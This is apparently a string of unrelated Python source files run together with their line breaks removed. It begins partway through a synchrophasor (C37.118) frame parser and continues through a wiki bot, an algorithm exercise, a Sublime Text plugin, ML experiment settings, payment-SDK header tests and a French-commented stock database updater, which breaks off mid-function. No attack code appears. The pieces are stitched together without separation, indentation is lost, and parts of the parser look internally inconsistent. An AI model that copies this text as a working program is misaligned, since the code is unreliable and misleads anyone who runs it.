self._root.SyncWord(self._io, self, self._root) self.framesize = self._io.read_u2be() self.idcode = self._io.read_u2be() self._mini_cfg = _mini_cfgs.mini_cfg[self.idcode] self.soc = self._io.read_u4be() self.fracsec = self._root.Fracsec(self._io, self, self._root, self._mini_cfg.time_base.time_base if self._mini_cfg else None) _on = self.sync.frame_type.value if _on == 0: if self._mini_cfg: self.data = Data(self._io, _mini_cfg=self._mini_cfg) else: self.data = self._io.read_bytes((self.framesize - 16)) elif _on == 3: self._raw_data = self._io.read_bytes((self.framesize - 16)) io = KaitaiStream(BytesIO(self._raw_data)) self.data = Cfg2(io) _mini_cfgs.add_cfg(self.idcode, self.data) elif _on == 4: self._raw_data = self._io.read_bytes((self.framesize - 16)) io = KaitaiStream(BytesIO(self._raw_data)) self.data = Command(io) elif _on == 5: _mini_cfgs.add_cfg(self.raw_pkt) self._raw_data = self._io.read_bytes((self.framesize - 16)) io = KaitaiStream(BytesIO(self._raw_data)) self.data = Cfg3(io) elif _on == 2: self._raw_data = self._io.read_bytes((self.framesize - 16)) io = KaitaiStream(BytesIO(self._raw_data)) self.data = Cfg2(io) elif _on == 1: self._raw_data = self._io.read_bytes((self.framesize - 16)) io = KaitaiStream(BytesIO(self._raw_data)) self.data = Header(io) self.chk = self._io.read_u2be() class SyncWord(KaitaiStruct): class FrameTypeEnum(Enum): data = 0 header = 1 cfg1 = 2 cfg2 = 3 cmd = 4 cfg3 = 5 class VersionNumberEnum(Enum): c_37_118_2005 = 1 c_37_118_2_2011 = 2 def __init__(self, _io, _parent=None, _root=None): self._io = _io self._parent = _parent self._root = _root if _root else self self.magic = self._io.ensure_fixed_contents(struct.pack('1b', -86)) self.reserved = self._io.read_bits_int(1) != 0 self.frame_type = self._root.SyncWord.FrameTypeEnum( self._io.read_bits_int(3)) self.version_number = self._root.SyncWord.VersionNumberEnum( self._io.read_bits_int(4)) class Fracsec(KaitaiStruct): def __repr__(self): _repr_list = ["fraction_of_second=" + str(self.fraction_of_second)] if self.fraction_of_second else [] for item in vars(self): if not item.startswith('_'): _r = getattr(self, item) if type(_r) in (int, float, str): _repr_list.append("=".join((item, _r.__repr__()))) else: _repr_list.append(item) return "<" + self.__class__.__name__ + " |" + ", ".join(_repr_list) + ">" def show(self, parent_path): if self.fraction_of_second: print(parent_path+'.fraction_of_second == ' + str(self.fraction_of_second)) _kaitai_show(self, parent_path) class LeapSecondDirectionEnum(Enum): add = 0 delete = 1 class MsgTqEnum(Enum): normal_operation_clock_locked_to_utc_traceable_source = 0 time_within_10_to_9_s_of_utc = 1 time_within_10_to_8_s_of_utc = 2 time_within_10_to_7_s_of_utc = 3 time_within_10_to_6_s_of_utc = 4 time_within_10_to_5_s_of_utc = 5 time_within_10_to_4_s_of_utc = 6 time_within_10_to_3_s_of_utc = 7 time_within_10_to_2_s_of_utc = 8 time_within_10_to_1_s_of_utc = 9 time_within_1_s_of_utc = 10 time_within_10_s_of_utc = 11 fault_clock_failure_time_not_reliable = 15 def __init__(self, _io, _parent=None, _root=None, _time_base=None): self._io = _io self._parent = _parent self._root = _root if _root else self self._time_base = _time_base self.reserved = self._io.read_bits_int(1) != 0 self.leap_second_direction = self._root.Fracsec.LeapSecondDirectionEnum( self._io.read_bits_int(1)) self.leap_second_occurred = self._io.read_bits_int(1) != 0 self.leap_second_pending = self._io.read_bits_int(1) != 0 self.time_quality = self._root.Fracsec.MsgTqEnum( self._io.read_bits_int(4)) self.raw_fraction_of_second = self._io.read_bits_int(24) @property def fraction_of_second(self): if hasattr(self, '_m_fraction_of_second'): return self._m_fraction_of_second if hasattr(self, '_m_fraction_of_second') else None if self._time_base: self._m_fraction_of_second = self.raw_fraction_of_second / self._time_base return self._m_fraction_of_second if hasattr(self, '_m_fraction_of_second') else None @property def time(self): if hasattr(self, '_m_time'): return self._m_time if hasattr(self, '_m_time') else None self._m_time = self.soc + self.fracsec.fraction_of_second return self._m_time if hasattr(self, '_m_time') else None @property def chk_body(self): if hasattr(self, '_m_chk_body'): return self._m_chk_body if hasattr(self, '_m_chk_body') else None _pos = self._io.pos() self._io.seek(0) self._m_chk_body = self._io.read_bytes((self.framesize - 2)) self._io.seek(_pos) return self._m_chk_body if hasattr(self, '_m_chk_body') else None @property def raw_pkt(self): if hasattr(self, '_m_pkt'): return self._m_pkt if hasattr(self, '_m_pkt') else None _pos = self._io.pos() self._io.seek(self._pkt_pos) self._m_pkt = self._io.read_bytes(self.framesize) self._io.seek(_pos) return self._m_pkt if hasattr(self, '_m_pkt') else None
""" This bot regenerates the page VEIDs The following parameters are supported: -debug If given, doesn't do any real changes, but only shows what would have been changed. """ __version__ = '$Id: basic.py 4946 2008-01-29 14:58:25Z wikipedian $' import wikipedia import pagegenerators, catlib, re, socket, sys from iplib import CIDR, IPv4Address class IpNetworkBot: def __init__(self, nets_generator, debug): """ Constructor. Parameters: * generator - The page generator that determines on which pages to work on. * debug - If True, doesn't do any real changes, but only shows what would have been changed. """ self.nets_generator = nets_generator self.nets = dict() self.debug = debug def registerIpNet(self, page): if ":" in page.title(): return text = page.get() in_ipnettpl = False private = False for line in text.split("\n"): if line.startswith("{{IPNetwork"): in_ipnettpl = True continue if line.startswith("}}"): in_ipnettpl = False continue if in_ipnettpl: if line.startswith("|PRIVATE=1"): private = True if not private: print page.title() def run(self): print "# generated by netlist.py" for page in self.nets_generator: self.registerIpNet(page) def main(): # The generator gives the pages that should be worked upon. gen = None # If debug is True, doesn't do any real changes, but only show # what would have been changed. debug = False wantHelp = False # Parse command line arguments for arg in wikipedia.handleArgs(): if arg.startswith("-debug"): debug = True else: wantHelp = True if not wantHelp: # The preloading generator is responsible for downloading multiple # pages from the wiki simultaneously. cat = catlib.Category(wikipedia.getSite(), 'Category:%s' % 'IP-Network') nets_gen = pagegenerators.CategorizedPageGenerator(cat, start = None, recurse = False) nets_gen = pagegenerators.PreloadingGenerator(nets_gen) bot = IpNetworkBot(nets_gen, debug) bot.run() else: wikipedia.showHelp() if __name__ == "__main__": try: main() finally: wikipedia.stopme()
def goodSegement1(badList,l,r): sortedBadList = sorted(badList) current =sortedBadList[0] maxVal = 0 for i in range(len(sortedBadList)): current = sortedBadList[i] maxIndex = i+1 # first value if i == 0 and l<=current<=r: val = current - l prev = l print("first index value") print("prev, current : ",prev,current) if(val>maxVal): maxVal = val print("1. (s,e)",l,current) # other middle values elif l<=current<=r: prev = sortedBadList[i-1] val = current - prev print("prev, current : ",prev,current) if(val>maxVal): maxVal = val print("2. (s,e)",prev,current) # last value if maxIndex == len(sortedBadList) and l<=current<=r: print("last index value") next = r val = next - current if(val>maxVal): maxVal = val print("3. (s,e)",current,next) print("maxVal:",maxVal-1) pass goodSegement1([2,5,8,10,3],1,12) goodSegement1([37,7,22,15,49,60],3,48)
import sublime, sublime_plugin from indenttxt import indentparser class IndentToList(sublime_plugin.TextCommand): def run(self, edit): parser = indentparser.IndentTxtParser() #Get current selection sels = self.view.sel() selsParsed = 0 if(len(sels) > 0): for sel in sels: #Make sure selection isn't just a cursor if(abs(sel.b - sel.a) > 0): self.parseRegion(parser, sel, edit) selsParsed += 1 #All selections just cursor marks? if(selsParsed == 0): region = sublime.Region(0, self.view.size() - 1) self.parseRegion(parser, region, edit) def parseRegion(self, parser, region, edit): lines = self.view.line(region) text = self.view.substr(lines) indented = parser.parseText(text) newview = self.view.window().new_file() newview.insert(edit, 0, indented)
def Setup(Settings,DefaultModel): # set1-test_of_models_against_datasets/osm299.py Settings["experiment_name"] = "set1_Mix_model_versus_datasets_299px" Settings["graph_histories"] = ['together'] #['all','together',[],[1,0],[0,0,0],[]] # 5556x_minlen30_640px 5556x_minlen20_640px 5556x_reslen20_299px 5556x_reslen30_299px n=0 Settings["models"][n]["dataset_name"] = "5556x_reslen30_299px" Settings["models"][n]["dump_file_override"] = 'SegmentsData_marked_R100_4Tables.dump' Settings["models"][n]["pixels"] = 299 Settings["models"][n]["model_type"] = 'img_osm_mix' Settings["models"][n]["unique_id"] = 'mix_minlen30_299px' Settings["models"][n]["top_repeat_FC_block"] = 2 Settings["models"][n]["epochs"] = 800 Settings["models"].append(DefaultModel.copy()) n+=1 Settings["models"][n]["dataset_pointer"] = -1 Settings["models"][n]["dataset_name"] = "5556x_reslen20_299px" Settings["models"][n]["dump_file_override"] = 'SegmentsData_marked_R100_4Tables.dump' Settings["models"][n]["pixels"] = 299 Settings["models"][n]["model_type"] = 'img_osm_mix' Settings["models"][n]["unique_id"] = 'mix_minlen20_299px' Settings["models"][n]["top_repeat_FC_block"] = 2 Settings["models"][n]["epochs"] = 800 Settings["models"].append(DefaultModel.copy()) n+=1 Settings["models"][n]["dataset_pointer"] = -1 Settings["models"][n]["dataset_name"] = "5556x_mark_res_299x299" Settings["models"][n]["dump_file_override"] = 'SegmentsData_marked_R100_4Tables.dump' Settings["models"][n]["pixels"] = 299 Settings["models"][n]["model_type"] = 'img_osm_mix' Settings["models"][n]["unique_id"] = 'mix_nosplit_299px' Settings["models"][n]["top_repeat_FC_block"] = 2 Settings["models"][n]["epochs"] = 800 return Settings
import base64 import unittest from ingenico.connect.sdk.defaultimpl.default_marshaller import DefaultMarshaller from ingenico.connect.sdk.domain.metadata.shopping_cart_extension import ShoppingCartExtension from ingenico.connect.sdk.meta_data_provider import MetaDataProvider from ingenico.connect.sdk.request_header import RequestHeader class MetaDataProviderTest(unittest.TestCase): """Contains tests to check that the meta data provider correctly stores allowed request headers and refuses prohibited headers """ def test_server_meta_data_headers_full(self): """Tests that the MetaDataProvider can construct meta_data_headers when supplied with a full shopping cart""" shopping_cart_extension = ShoppingCartExtension("Ingenico.creator", "Extension", "1.0", "ExtensionId") meta_data_provider = MetaDataProvider("Ingenico", shopping_cart_extension) request_headers = meta_data_provider.meta_data_headers self.assertEqual(1, len(request_headers)) self.assertServerMetaInfo(meta_data_provider, "Ingenico", shopping_cart_extension, request_headers[0]) def test_server_meta_data_headers_full_no_shopping_cart_extension_id(self): """Tests that the MetaDataProvider can construct meta_data_headers when supplied with a full shopping cart""" shopping_cart_extension = ShoppingCartExtension("Ingenico.creator", "Extension", "1.0") meta_data_provider = MetaDataProvider("Ingenico", shopping_cart_extension) request_headers = meta_data_provider.meta_data_headers self.assertEqual(1, len(request_headers)) self.assertServerMetaInfo(meta_data_provider, "Ingenico", shopping_cart_extension, request_headers[0]) def test_get_server_metadata_headers_no_additional_headers(self): """Tests that the MetaDataProvider functions correctly without any additional headers as arguments""" meta_data_provider = MetaDataProvider("Ingenico") request_headers = meta_data_provider.meta_data_headers self.assertEqual(1, len(request_headers)) self.assertServerMetaInfo(meta_data_provider, "Ingenico", None, request_headers[0]) def test_get_server_metadata_headers_additional_headers(self): """Tests that the MetaDataProvider can handle multiple additional headers""" additional_headers = [RequestHeader("Header1", "&=$%"), RequestHeader("Header2", "blah blah"), RequestHeader("Header3", "foo")] meta_data_provider = MetaDataProvider("Ingenico", None, additional_headers) request_headers = meta_data_provider.meta_data_headers self.assertEqual(4, len(request_headers)) for index in range(1, 4): self.assertEqual(additional_headers[index-1].name, request_headers[index].name) self.assertEqual(additional_headers[index-1].value, request_headers[index].value) def test_constructor_with_prohibited_headers(self): """Tests that the MetaDataProvider constructor does not accept any headers marked as prohibited""" for name in MetaDataProvider.prohibited_headers: additional_headers = [RequestHeader("Header1", "Value1"), RequestHeader(name, "should be slashed and burnt"), RequestHeader("Header3", "Value3")] with self.assertRaises(Exception) as error: MetaDataProvider("Ingenico", None, additional_headers) self.assertIn(name, str(error.exception)) def assertServerMetaInfo(self, meta_data_provider, integrator, shopping_cart_extension=None, request_header=None): """Assert that checks that the request_header is the default header "X-GCS-ServerMetaInfo", that the server_meta_data_info of the meta_data_provider is correct and that the shopping cart extension is consistent with the extension stored in meta_data_provider """ self.assertEqual("X-GCS-ServerMetaInfo", request_header.name) self.assertIsNotNone(request_header.value) # server_meta_info is stored in json format and encoded using utf-8 and base64 encoding, decode it server_meta_info_json = base64.b64decode(request_header.value).decode('utf-8') server_meta_info = DefaultMarshaller.INSTANCE().unmarshal(server_meta_info_json, MetaDataProvider.ServerMetaInfo) self.assertEqual(meta_data_provider._platform_identifier, server_meta_info.platform_identifier) self.assertEqual(meta_data_provider._sdk_identifier, server_meta_info.sdk_identifier) self.assertEqual("Ingenico", server_meta_info.sdk_creator) self.assertEqual(integrator, server_meta_info.integrator) if shopping_cart_extension is None: self.assertIsNone(server_meta_info.shopping_cart_extension) else: self.assertEqual(shopping_cart_extension.creator, server_meta_info.shopping_cart_extension.creator) self.assertEqual(shopping_cart_extension.name, server_meta_info.shopping_cart_extension.name) self.assertEqual(shopping_cart_extension.version, server_meta_info.shopping_cart_extension.version) self.assertEqual(shopping_cart_extension.extension_id, server_meta_info.shopping_cart_extension.extension_id) if __name__ == '__main__': unittest.main()
import threading import logging import unittest import gc from stockviderApp.utils import retryLogger from stockviderApp.sourceDA.symbols.referenceSymbolsDA import ReferenceSymbolsDA from stockviderApp.localDA.symbols.dbReferenceSymbolsDA import DbReferenceSymbolsDA from stockviderApp.sourceDA.symbols.googleSymbolsDA import GoogleSymbolsDA from stockviderApp.sourceDA.symbols.yahooSymbolsDA import YahooSymbolsDA from stockviderApp.sourceDA.symbols.wikiSymbolsDA import WikiSymbolsDA from stockviderApp.localDA.symbols.dbGoogleSymbolsDA import DbGoogleSymbolsDA from stockviderApp.localDA.symbols.dbYahooSymbolsDA import DbYahooSymbolsDA from stockviderApp.localDA.symbols.dbWikiSymbolsDA import DbWikiSymbolsDA from stockviderApp.localDA.rawData.dbGoogleRawDataDA import DbGoogleRawDataDA from stockviderApp.localDA.rawData.dbYahooRawDataDA import DbYahooRawDataDA from stockviderApp.localDA.rawData.dbWikiRawDataDA import DbWikiRawDataDA from stockviderApp.sourceDA.rawData.googleRawDataDA import GoogleRawDataDA from stockviderApp.sourceDA.rawData.yahooRawDataDA import YahooRawDataDA from stockviderApp.sourceDA.rawData.wikiRawDataDA import WikiRawDataDA from stockviderApp.sourceDA.rawData.referenceRawDataDA import ReferenceRawDataDA from stockviderApp.localDA.rawData.dbReferenceRawDataDA import DbReferenceRawDataDA class ThreadUpdateRawData(threading.Thread): ''' Threading class handling data retrieval from Quand sources. ''' threadLimiter = threading.BoundedSemaphore(3) # De toute façon il y en a que 3 max def __init__(self, _updateFunc, _symbolList, _exchange): threading.Thread.__init__(self) self.updateFunc = _updateFunc self.symbolList = _symbolList self.exchange = _exchange # Récupère le logger self.logger = logging.getLogger(__name__) return def run(self): # Demande l'acquisition d'un thread ThreadUpdateRawData.threadLimiter.acquire() # Découpe la liste de symbols en plusieurs listes (pb de mémoire) listOfSymbsList = ThreadUpdateRawData._chunks(self.symbolList, 100) for (curIndex, currentSymbolsList) in enumerate(listOfSymbsList): self.logger.info("Traitement de la liste " + str(curIndex + 1) + "/" + str(len(listOfSymbsList))) # Execute la fonction d'update self.updateFunc(currentSymbolsList, self.exchange) # Relache proprement la mémoire gc.collect() # Release le thread ThreadUpdateRawData.threadLimiter.release() return @classmethod def _chunks(cls, l, n): ''' Chuncks and returns the list in multiple list of size n. :param l: list to chunck :type l: list :param n: chunck size :type n: int :returns: list of chunked lists :rtype: list ''' listOfLists = [] for i in range(0, len(l), n): listOfLists.append(l[i:i+n]) return listOfLists class DbManager(object): ''' Class wrapping all procedures to update the local database from outside sources. ''' # A virer en prod - utile en debug pour limiter la récupération de données limitNbr = None # A none il n'est pas pris en compte exchangeTuple = ('NYSE', 'NASDAQ') instrumentType = 'EQUITIES' def __init__(self): # Récupère le logger self.logger = logging.getLogger(__name__) return def runTest(self): ''' Runs tests. ''' self.logger.info("Début des tests unitaires") self._runUnitTest() self.logger.info("Fin des tests unitaires") return def runSymbols(self): ''' Handles the symbol tables update in the database. ''' self.logger.info("Début de l'update des symbols Quandl") # Update les symbols des tables Quandl self._updateQuandlSymbols(self.exchangeTuple) self.logger.info("Fin de l'update des symbols Quandl") self.logger.info("Début de l'update des symbols de référence") # Upate les symbols de référence for exchange in self.exchangeTuple: self.logger.info("Référence - ajout des symbols de " + str(exchange)) self._updateReferenceSymbols(exchange, self.instrumentType) self.logger.info("Fin de l'update des symbols de référence") self.logger.info("Début du nettoyage des symbols de référence") # Nettoie les doublons dans les symbols de ref entre Nyse et Nasdaq self._cleanDuplicatedReferenceSymbols() self.logger.info("Fin du nettoyage des symbols de référence") self.logger.info("Début du mapping des symbols de référence") # Mappe les symbols de référence for exchange in self.exchangeTuple: self.logger.info("Référence - mapping des symbols de " + str(exchange)) self._mapReferenceSymbols(exchange) self.logger.info("Fin du mapping des symbols de référence") return def runQuandlRawData(self, exchange): ''' Handle the Quandl data update in the database. ''' self.logger.info("Début de traitement des raw data Quandl de " + str(exchange)) self._updateQuandlRawData(exchange) return def runReferenceRawData(self, exchange): ''' Handle the aggregated data update in the database. ''' self.logger.info("Début de traitement des raw data Reference de " + str(exchange)) self._updateReferenceRawData(exchange) return # ------------------------------------------------------------- def _runUnitTest(self): ''' Runs unit tests. ''' # Lance les tests testsuite = unittest.TestLoader().discover('./test/') testResults = unittest.TextTestRunner(verbosity=1).run(testsuite) # Log les erreurs et les echec self.logger.warning("Erreur de test : ") for errorString in testResults.errors: self.logger.error(errorString) for failureString in testResults.failures: self.logger.error(failureString) return # ------------------ Méthodes d'update des symbols ------------------- @retryLogger(maxRetryNbr=3, sleepTimeIncr=30) def _updateReferenceSymbols(self, exchange, instrumentType): ''' Updates the reference symbol table in the database. :param exchange: name of the exchange :type exchange: str :param instrumentType: type of instrument (EQUITIES, BOND, ...) :type instrumentType: str .. warning:: This procedure must be called after the local update of the Quandl symbols. ''' # Met en place le DAO des symbols de référence referenceSymbolsDAO = ReferenceSymbolsDA(exchange) dbReferenceSymbolDAO = DbReferenceSymbolsDA() # Récupère les symbols de référence referenceSymbolsList = referenceSymbolsDAO.returnSymbolsList(instrumentType)[0:DbManager.limitNbr] # Les ajoute en DB dbReferenceSymbolDAO.updateOrAddSymbolsList(referenceSymbolsList, exchange) self.logger.info("Référence - symbols ajoutés dans la table") return def _cleanDuplicatedReferenceSymbols(self): ''' Cleans the reference symbol table from duplicated entries. .. note:: It may happen that the same symbol is listed on both NYSE and NASDAQ. This procedure ensures that these symbols are only recorded once in the database. ''' # Met en place le DAO local des symbols de référence dbReferenceSymbolDAO = DbReferenceSymbolsDA() dbReferenceSymbolDAO.cleanDuplicatedSymbols('NYSE', 'NASDAQ') self.logger.info("Référence - NYSE/NASDAQ nettoyés") return def _mapReferenceSymbols(self, exchange): ''' Maps the 1-1 relation of reference symbols object with each Quandl symbols. :param exchange: name of the exchange :type exchange: str ''' # Met en place le DAO des symbols de référence dbReferenceSymbolDAO = DbReferenceSymbolsDA() # Récupère tous les symbols de l'exchange referenceSymbolsList = dbReferenceSymbolDAO.getAllSymbolsList(exchange) refSymbolNamesList = [refSymbol.symbol for refSymbol in referenceSymbolsList] # Mappe les symbols de référence avec les symbols de chaque source dbReferenceSymbolDAO.mapOneToOneRelationsSymbols(refSymbolNamesList, exchange) self.logger.info("Référence - symbols mappés") return def _updateQuandlSymbols(self, exchangeNamesTuple): ''' Updates the Quandl symbol tables in the database. :param exchangeNamesTuple: tuple of exchange names :type exchangeNamesTuple: tuple ''' self.logger.info("Début de l'update des symbols Google") self._updateGoogleSymbols(exchangeNamesTuple) self.logger.info("Fin de l'update des symbols Google") self.logger.info("Début de l'update des symbols Yahoo") self._updateYahooSymbols(exchangeNamesTuple) self.logger.info("Fin de l'update des symbols Yahoo") self.logger.info("Début de l'update des symbols Wiki") self._updateWikiSymbols(exchangeNamesTuple) self.logger.info("Fin de l'update des symbols Wiki") return @retryLogger(maxRetryNbr=3, sleepTimeIncr=30) def _updateGoogleSymbols(self, exchangeNamesTuple): ''' Updates the Google symbol table in the database. :param exchangeNamesTuple: tuple of exchange names :type exchangeNamesTuple: tuple ''' # Met en place les DAO des symbols googleSymbolsDAO = GoogleSymbolsDA() dbGoogleSymbolsDAO = DbGoogleSymbolsDA() # Récupère tous les symbols de la source symbolsListGoogle = googleSymbolsDAO.returnSymbolsDict() # Crée la liste d'exchange effectifs de cette source googleExchangeNamesList = [] for exchange in exchangeNamesTuple: googleExchangeNamesList.append(self._returnEffectiveExchange(exchange)['Google']) googleExchangeNamesList = list(set(googleExchangeNamesList)) # Ajoute les symbols à la DB pour chaque exchange du tuple for exchange in googleExchangeNamesList: self.logger.info("Google - traitement des symbols de " + str(exchange)) # Récupère la liste de symbols de cet exchange currentSymbolsList = symbolsListGoogle[exchange][0:DbManager.limitNbr] # Les ajoute en DB dbGoogleSymbolsDAO.updateOrAddSymbolsList(currentSymbolsList, exchange) return @retryLogger(maxRetryNbr=3, sleepTimeIncr=30) def _updateYahooSymbols(self, exchangeNamesTuple): ''' Updates the Yahoo symbol table in the database. :param exchangeNamesTuple: tuple of exchange names :type exchangeNamesTuple: tuple ''' # Met en place les DAO des symbols yahooSymbolsDAO = YahooSymbolsDA() dbYahooSymbolsDAO = DbYahooSymbolsDA() # Récupère tous les symbols de la source symbolsListYahoo = yahooSymbolsDAO.returnSymbolsDict() # Crée la liste d'exchange effectifs de cette source yahooExchangeNamesList = [] for exchange in exchangeNamesTuple: yahooExchangeNamesList.append(self._returnEffectiveExchange(exchange)['Yahoo']) yahooExchangeNamesList = list(set(yahooExchangeNamesList)) # Ajoute les symbols à la DB pour chaque exchange du tuple for exchange in yahooExchangeNamesList: self.logger.info("Yahoo - traitement des symbols de " + str(exchange)) # Récupère la liste de symbols de cet exchange currentSymbolsList = symbolsListYahoo[exchange][0:DbManager.limitNbr] # Les ajoute en DB dbYahooSymbolsDAO.updateOrAddSymbolsList(currentSymbolsList, exchange) return @retryLogger(maxRetryNbr=3, sleepTimeIncr=30) def _updateWikiSymbols(self, exchangeNamesTuple): ''' Updates the Wiki symbol table in the database. :param exchangeNamesTuple: tuple of exchange names :type exchangeNamesTuple: tuple ''' # Met en place les DAO des symbols wikiSymbolsDAO = WikiSymbolsDA() dbWikiSymbolsDAO = DbWikiSymbolsDA() # Récupère tous les symbols de la source symbolsListWiki = wikiSymbolsDAO.returnSymbolsDict() # Crée la liste d'exchange effectifs de cette source wikiExchangeNamesList = [] for exchange in exchangeNamesTuple: wikiExchangeNamesList.append(self._returnEffectiveExchange(exchange)['Wiki']) wikiExchangeNamesList = list(set(wikiExchangeNamesList)) # Ajoute les symbols à la DB pour chaque exchange du tuple for exchange in wikiExchangeNamesList: self.logger.info("Wiki - traitement des symbols de " + str(exchange)) # Récupère la liste de symbols de cet exchange currentSymbolsList = symbolsListWiki[exchange][0:DbManager.limitNbr] # Les ajoute en DB dbWikiSymbolsDAO.updateOrAddSymbolsList(currentSymbolsList, exchange) return # -------------- Méthodes d'update des raw data --------------------- def _updateQuandlRawData(self, exchange): ''' Updates the Quandl data tables in the database. :param exchange: name of the exchange :type exchange: str ''' # Ces liste stockent les objets Db des symbols googleSymbolsList = [] yahooSymbolsList = [] wikiSymbolsList = [] # Récupère les DAO dbReferenceSymbolDAO = DbReferenceSymbolsDA() # Parcourt la liste des symbols de référence for refSymbol in dbReferenceSymbolDAO.getAllSymbolsList(exchange): # Récupère pour chaque symbol de référence le symbol de chaque source # et l'append à sa liste s'il existe if refSymbol.googleSymbol is not None: googleSymbolsList.append(refSymbol.googleSymbol) if refSymbol.yahooSymbol is not None: yahooSymbolsList.append(refSymbol.yahooSymbol) if refSymbol.wikiSymbol is not None: wikiSymbolsList.append(refSymbol.wikiSymbol) self.logger.info("Liste de symbols (Google, Yahoo, Wiki) assemblées") self.logger.info("Début de la maj des raw data (Google, Yahoo Wiki) (threading)") # Crée un thread par source et execute la fonction de maj googleThread = ThreadUpdateRawData(self._updateGoogleRawData, googleSymbolsList, exchange) yahooThread = ThreadUpdateRawData(self._updateYahooRawData, yahooSymbolsList, exchange) wikiThread = ThreadUpdateRawData(self._updateWikiRawData, wikiSymbolsList, exchange) googleThread.start() yahooThread.start() wikiThread.start() # Il faut les join avant de quitter cette fonction pour s'assurer que tout le monde est là googleThread.join() yahooThread.join() wikiThread.join() self.logger.info("Google - fin de la maj des raw data") self.logger.info("Yahoo - fin de la maj des raw data") self.logger.info("Wiki - fin de la maj des raw data") self.logger.info("Fin de la maj des raw data (Google, Yahoo Wiki) (threading)") return def _updateReferenceRawData(self, exchange): ''' Updates the reference (aggregated) data table in the database. :param exchange: name of the exchange :type exchange: str ''' # Récupère les DAO dbReferenceSymbolDAO = DbReferenceSymbolsDA() # Cette liste stocke les objets Db des symbols refSymbolsList = [] self.logger.info("Début de la maj des raw data de reference (threading)") # Construit la liste des symbols de référence à traiter # Elle est construite après la maj des autres symbols car sinon # les symbols de référence récupérés ne seront pas à jour. for refSymbol in dbReferenceSymbolDAO.getAllSymbolsList(exchange): if refSymbol.googleSymbol is not None or refSymbol.yahooSymbol is not None \ or refSymbol.wikiSymbol is not None : refSymbolsList.append(refSymbol) # Traite les reference raw data en les mettant dans un thread # Ici le thread ne sert à rien sauf pour profiter de sa fonction de chunk referenceThread = ThreadUpdateRawData(self._updateReferenceRawDataLists, refSymbolsList, exchange) referenceThread.start() referenceThread.join() self.logger.info("Référence - fin de la maj des raw data") return def _updateGoogleRawData(self, dbSymbolsList, exchange): ''' Updates the Google data table in the database. :param dbSymbolsList: list of Google symbol objects :param dbSymbolsList: list :param exchange: name of the exchange :type exchange: str ''' self.logger.info("Google - début de la maj des raw data") # Liste des objets raw data à update toUpdateRawDataList = [] toMapSymbolNamesList = [] # Liste de symbols à problème issuesSymbolsList = [] # Récupère les DAO googleRawDataDAO = GoogleRawDataDA() dbGoogleRawDataDAO = DbGoogleRawDataDA() dbGoogleSymbolsDAO = DbGoogleSymbolsDA() # Pour chaque symbol for dbSymbol in dbSymbolsList: self.logger.debug("GOOGLE : " + str(exchange) + "-" + dbSymbol.symbol.upper()) # Nom du symbol à demander chez Quandl googleSymbolName = "_".join([dbSymbol.exchange.upper(), dbSymbol.symbol.upper()]) # Appelle la fonction de récupération des data returnValue = self._returnQuandlRawDataDictAndNew(dbSymbol, googleSymbolName, googleRawDataDAO) # Dans ce cas la data n'a pas été récupérée correctement. # Tout a été loggé on peut passer au symbol d'après. if returnValue is None: issuesSymbolsList.append({'Symbol' : dbSymbol.symbol.upper(), 'Exchange' : dbSymbol.exchange.upper()}) continue (isNew, rawDataDict) = returnValue # Met ces données dans la liste de données à maj toUpdateRawDataList.append(rawDataDict) if isNew: # Met le symbol dans la liste des symbols à mapper toMapSymbolNamesList.append(dbSymbol.symbol.upper()) # Effectue toutes les maj en DB dbGoogleRawDataDAO.updateOrAddRawDataList(toUpdateRawDataList, exchange) # Effectue le mapping dbGoogleSymbolsDAO.mapOneToOneRelations(toMapSymbolNamesList, exchange) self.logger.warning("Google - symbols à problèmes : " + str(issuesSymbolsList)) return def _updateYahooRawData(self, dbSymbolsList, exchange): ''' Updates the Yahoo data table in the database. :param dbSymbolsList: list of Yahoo symbol objects :param dbSymbolsList: list :param exchange: name of the exchange :type exchange: str ''' self.logger.info("Yahoo - début de la maj des raw data") # Liste des objets raw data à update toUpdateRawDataList = [] toMapSymbolNamesList = [] # Liste de symbols à problème issuesSymbolsList = [] # Récupère les DAO yahooRawDataDAO = YahooRawDataDA() dbYahooRawDataDAO = DbYahooRawDataDA() dbYahooSymbolsDAO = DbYahooSymbolsDA() exchange = self._returnEffectiveExchange(exchange)['Yahoo'] # Pour chaque symbol for dbSymbol in dbSymbolsList: self.logger.debug("YAHOO : " + str(exchange) + "-" + dbSymbol.symbol.upper()) # Nom du symbol à demander chez Quandl yahooSymbolName = dbSymbol.symbol.upper() # Appelle la fonction de récupération des data returnValue = self._returnQuandlRawDataDictAndNew(dbSymbol, yahooSymbolName, yahooRawDataDAO) # Dans ce cas la data n'a pas été récupérée correctement. # Tout a été loggé on peut passer au symbol d'après. if returnValue is None: issuesSymbolsList.append({'Symbol' : dbSymbol.symbol.upper(), 'Exchange' : dbSymbol.exchange.upper()}) continue (isNew, rawDataDict) = returnValue # Met ces données dans la liste de données à maj toUpdateRawDataList.append(rawDataDict) if isNew: # Met le symbol dans la liste des symbols à mapper toMapSymbolNamesList.append(dbSymbol.symbol.upper()) # Effectue toutes les maj en DB dbYahooRawDataDAO.updateOrAddRawDataList(toUpdateRawDataList, exchange) # Effectue le mapping dbYahooSymbolsDAO.mapOneToOneRelations(toMapSymbolNamesList, exchange) self.logger.warning("Yahoo - symbols à problèmes : " + str(issuesSymbolsList)) return def _updateWikiRawData(self, dbSymbolsList, exchange): ''' Updates the Wiki data table in the database. :param dbSymbolsList: list of Wiki symbol objects :param dbSymbolsList: list :param exchange: name of the exchange :type exchange: str ''' self.logger.info("Wiki - début de la maj des raw data") # Liste des objets raw data à update toUpdateRawDataList = [] toMapSymbolNamesList = [] # Liste de symbols à problème issuesSymbolsList = [] # Récupère les DAO wikiRawDataDAO = WikiRawDataDA() dbWikiRawDataDAO = DbWikiRawDataDA() dbWikiSymbolsDAO = DbWikiSymbolsDA() exchange = self._returnEffectiveExchange(exchange)['Wiki'] # Pour chaque symbol for dbSymbol in dbSymbolsList: self.logger.debug("WIKI : " + str(exchange) + "-" + dbSymbol.symbol.upper()) # Nom du symbol à demander chez Quandl wikiSymbolName = dbSymbol.symbol.upper() # Appelle la fonction de récupération des data returnValue = self._returnQuandlRawDataDictAndNew(dbSymbol, wikiSymbolName, wikiRawDataDAO) # Dans ce cas la data n'a pas été récupérée correctement. # Tout a été loggé on peut passer au symbol d'après. if returnValue is None: issuesSymbolsList.append({'Symbol' : dbSymbol.symbol.upper(), 'Exchange' : dbSymbol.exchange.upper()}) continue (isNew, rawDataDict) = returnValue # Met ces données dans la liste de données à maj toUpdateRawDataList.append(rawDataDict) if isNew: # Met le symbol dans la liste des symbols à mapper 